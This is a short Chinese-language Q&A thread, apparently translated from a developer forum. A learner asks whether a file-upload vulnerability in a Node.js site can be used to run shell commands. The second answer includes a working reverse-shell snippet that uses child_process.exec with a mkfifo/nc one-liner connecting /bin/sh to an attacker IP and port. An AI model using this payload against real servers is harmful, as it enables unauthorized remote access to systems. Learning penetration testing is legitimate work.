我正在尝试学习 NodeJS 渗透测试过程我在 Nodejs 网站中发现了一个远程文件上传漏洞,我可以像在 PHP 或 ASPX 中那样在 NodeJS 中上传远程 shell 并执行命令吗?我可以从这个 shell 上传 NodeJS shell.js 并在服务器中执行 unix 命令吗?
问问题
2754 次
2 回答
2
不确定这是否是您要查找的内容,但如果您能够将 NodeJS 脚本上传到服务器并执行它,那么可以,您可以使用child_process.exec运行 shell 命令(有关类似问题,请参见此处/回答)。
于 2018-07-03T00:00:49.347 回答
0
仅当您可以“执行”该文件时才有可能。
但是,如果您可以“执行” JavaScript 代码,则可以使用以下方法创建反向 shell:
(function () {
require("child_process")
.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackerIP> <attackerPort> >/tmp/f')
})()]
否则,如果您无法执行该文件,那么您只会看到该文件的内容:
于 2020-08-27T22:15:11.050 回答